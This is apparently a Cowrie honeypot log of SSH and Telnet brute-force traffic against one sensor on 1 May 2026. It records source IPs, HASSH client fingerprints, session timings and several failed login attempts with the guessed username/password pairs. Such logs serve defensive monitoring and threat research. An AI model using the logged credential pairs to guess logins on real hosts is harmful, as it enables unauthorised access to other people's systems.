{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:45:14.205814Z","src_ip":"103.13.206.208","session":"162d73f85547","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dp123456","message":"login attempt [root/Dp123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:45:15.209399Z","src_ip":"103.13.206.208","session":"162d73f85547","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00206017494202,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:45:15.552541Z","src_ip":"188.132.150.42","session":"36027f41e97b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:45:16.445520Z","src_ip":"103.13.206.208","session":"162d73f85547","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.15.122.177","src_port":6177,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d4d42deab1b","protocol":"telnet","message":"New connection: 49.15.122.177:6177 (159.203.135.109:23) [session: 8d4d42deab1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:45:17.603124Z"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:45:22.236264Z","src_ip":"122.168.114.167","session":"4ebce9ebf1dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.75.222.164","src_port":40914,"dst_ip":"10.17.0.5","dst_port":22,"session":"3feee169b585","protocol":"ssh","message":"New connection: 106.75.222.164:40914 (10.17.0.5:22) [session: 3feee169b585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:45:26.146138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:45:26.151072Z","src_ip":"106.75.222.164","session":"3feee169b585","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:45:26.409403Z","src_ip":"106.75.222.164","session":"3feee169b585","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"321","message":"login attempt [ubuntu/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:45:27.473483Z","src_ip":"106.75.222.164","session":"3feee169b585","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:45:28.734804Z","src_ip":"106.75.222.164","session":"3feee169b585","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":47566,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4214f880b87","protocol":"ssh","message":"New connection: 122.168.114.167:47566 (159.203.135.109:22) [session: f4214f880b87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:45:29.240986Z"}
{"eventid":"cowrie.session.closed","duration":"48.4","message":"Connection lost after 48.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:45:30.532429Z","src_ip":"122.168.114.167","session":"4ebce9ebf1dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.278212308883667,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:45:31.881227Z","src_ip":"49.15.122.177","session":"8d4d42deab1b","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:45:34.864847Z","src_ip":"122.168.114.167","session":"f4214f880b87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:45:34.872287Z","src_ip":"122.168.114.167","session":"f4214f880b87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:45:57.439870Z","src_ip":"122.168.114.167","session":"f4214f880b87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"34.9","message":"Connection lost after 34.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:46:04.100749Z","src_ip":"122.168.114.167","session":"f4214f880b87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":49966,"dst_ip":"159.203.135.109","dst_port":22,"session":"e459195c6cb7","protocol":"ssh","message":"New connection: 122.168.114.167:49966 (159.203.135.109:22) [session: e459195c6cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:46:07.082731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:46:12.531039Z","src_ip":"122.168.114.167","session":"e459195c6cb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:46:12.534495Z","src_ip":"122.168.114.167","session":"e459195c6cb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":57610,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ae3c278480f","protocol":"ssh","message":"New connection: 210.114.22.126:57610 (10.17.0.5:22) [session: 7ae3c278480f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:46:22.023432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:46:22.111271Z","src_ip":"210.114.22.126","session":"7ae3c278480f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:46:22.312740Z","src_ip":"210.114.22.126","session":"7ae3c278480f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"1212","message":"login attempt [guest/1212] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:46:23.519785Z","src_ip":"210.114.22.126","session":"7ae3c278480f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:46:24.729690Z","src_ip":"210.114.22.126","session":"7ae3c278480f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":36088,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f7a6837efc1","protocol":"ssh","message":"New connection: 103.13.206.208:36088 (159.203.135.109:22) [session: 9f7a6837efc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:46:32.494482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:46:32.499248Z","src_ip":"103.13.206.208","session":"9f7a6837efc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:46:32.734098Z","src_ip":"103.13.206.208","session":"9f7a6837efc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yY123456","message":"login attempt [root/yY123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:46:33.705483Z","src_ip":"103.13.206.208","session":"9f7a6837efc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:46:34.469229Z","src_ip":"122.168.114.167","session":"e459195c6cb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:46:34.943468Z","src_ip":"103.13.206.208","session":"9f7a6837efc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"33.3","message":"Connection lost after 33.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:46:40.354988Z","src_ip":"122.168.114.167","session":"e459195c6cb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":41698,"dst_ip":"10.17.0.5","dst_port":22,"session":"264dac06bef6","protocol":"ssh","message":"New connection: 148.230.169.229:41698 (10.17.0.5:22) [session: 264dac06bef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:46:46.992269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:46:46.996293Z","src_ip":"148.230.169.229","session":"264dac06bef6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:46:47.063323Z","src_ip":"148.230.169.229","session":"264dac06bef6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"p4sswOrd","message":"login attempt [ubuntu/p4sswOrd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:46:47.354789Z","src_ip":"148.230.169.229","session":"264dac06bef6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:46:48.423445Z","src_ip":"148.230.169.229","session":"264dac06bef6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":52374,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8d8b434738a","protocol":"ssh","message":"New connection: 122.168.114.167:52374 (159.203.135.109:22) [session: b8d8b434738a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:46:49.426048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:46:53.627948Z","src_ip":"122.168.114.167","session":"b8d8b434738a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:46:53.633353Z","src_ip":"122.168.114.167","session":"b8d8b434738a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:47:10.686378Z","src_ip":"122.168.114.167","session":"b8d8b434738a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"26.0","message":"Connection lost after 26.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:47:15.386171Z","src_ip":"122.168.114.167","session":"b8d8b434738a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":60712,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ead572e1303","protocol":"ssh","message":"New connection: 103.97.179.160:60712 (10.17.0.5:22) [session: 5ead572e1303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:47:27.637375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:47:27.643540Z","src_ip":"103.97.179.160","session":"5ead572e1303","protocol":"ssh"}
